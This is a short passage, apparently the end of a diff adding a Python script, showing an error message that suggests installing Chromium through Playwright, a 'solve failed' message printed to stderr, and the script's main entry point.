f"{message}\n[hint] install a browser with: python -m playwright install chromium" + print(f"[-] solve failed: {message}", file=sys.stderr) + return 1 + + +if __name__ == "__main__": + raise SystemExit(main())